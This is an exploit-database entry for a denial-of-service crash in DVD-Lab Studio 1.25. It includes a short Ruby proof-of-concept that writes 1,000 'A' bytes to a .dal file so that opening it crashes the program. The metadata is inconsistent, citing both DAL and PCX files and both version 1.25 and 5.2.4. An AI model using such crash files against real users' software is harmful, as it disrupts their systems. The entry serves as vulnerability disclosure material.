DVD-Lab Studio 1.25 DAL File Open Crash

vendor:

DVD-Lab Studio

by:

Ahmed Elhady Mohamed

7,5

CVSS

HIGH

Denial of service

400

CWE

Product Name: DVD-Lab Studio

Affected Version From: 1.25

Affected Version To: 5.2.4

Patch Exists: NO

Related CWE: N/A

CPE: a:mediachance:dvd-lab_studio

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2020

DVD-Lab Studio 1.25 DAL File Open Crash

DVD-Lab Studio File Denial of service vulnerability, when opening a malicious .PCX file, the exploit can be triggered by going to file->Open

Mitigation:

Ensure that all files are scanned for malicious content before opening them.

Source

Exploit-DB raw data:

DVD-Lab Studio 1.25 DAL File Open Crash
===================================================================================
# Exploit Title:DVD-Lab Studio 1.25 Malicious DAL File Denial of service
# Download link:http://download.cnet.com/DVD-Lab-Studio/3000-7970_4-10391372.html
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# Website: www.infosec4all.tk
# version: 5.2.4
# Category: DOS
# Tested on: windows XP SP3
===================================================================================



#########################################################################################
#DVD-Lab Studio File Denial of service vulnerability ,when opening a malicious .PCX file#                                                                  #
#To trigger the exploit , go to file->Open                                              #
#########################################################################################

 
#!/usr/bin/ruby
 

File.open "Crash.dal" , "w" do |file|
junk = "A" *1000
file.write junk
end